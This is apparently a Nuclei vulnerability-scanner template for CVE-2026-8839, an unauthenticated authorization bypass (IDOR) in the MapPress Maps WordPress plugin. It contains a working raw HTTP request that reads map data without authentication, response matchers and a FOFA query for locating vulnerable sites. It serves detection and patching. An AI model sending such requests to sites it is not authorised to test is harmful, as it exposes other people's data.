MapPress Maps for WordPress <= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests
PoC
id: CVE-2026-8839
info:
name: WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR
author: 0x_Akoko
severity: medium
description: |
MapPress Maps for WordPress <= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests
impact: |
Unauthenticated attackers can read sensitive map data; authenticated contributors can modify or delete any map, risking data exposure and unauthorized modifications.
remediation: |
Update to the latest version beyond 2.96.6.
reference:
- https://plugins.trac.wordpress.org/browser/mappress-google-maps-for-wordpress/trunk/mappress_api.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-8839
- https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2026-8839
epss-score: 0.01018
epss-percentile: 0.61625
cwe-id: CWE-639
metadata:
verified: true
max-request: 1
fofa-query: body="wp-content/plugins/mappress-google-maps-for-wordpress"
tags: cve,cve2026,wordpress,wp-plugin,mappress,idor,exposure,wp
http:
- raw:
- |
GET /wp-json/mapp/v1/maps/1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"mapid\"", "\"pois\"", "\"center\"")'
condition: and
# digest: 4a0a004730450221009364863ef58368f469e42e59bb45e2238547054d14f0750d1cd0fdb23d9231fc0220774b19ca1e0561d524bc7b5b2b5f8b5b9325e6c4775a85b071b47f485f01335e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.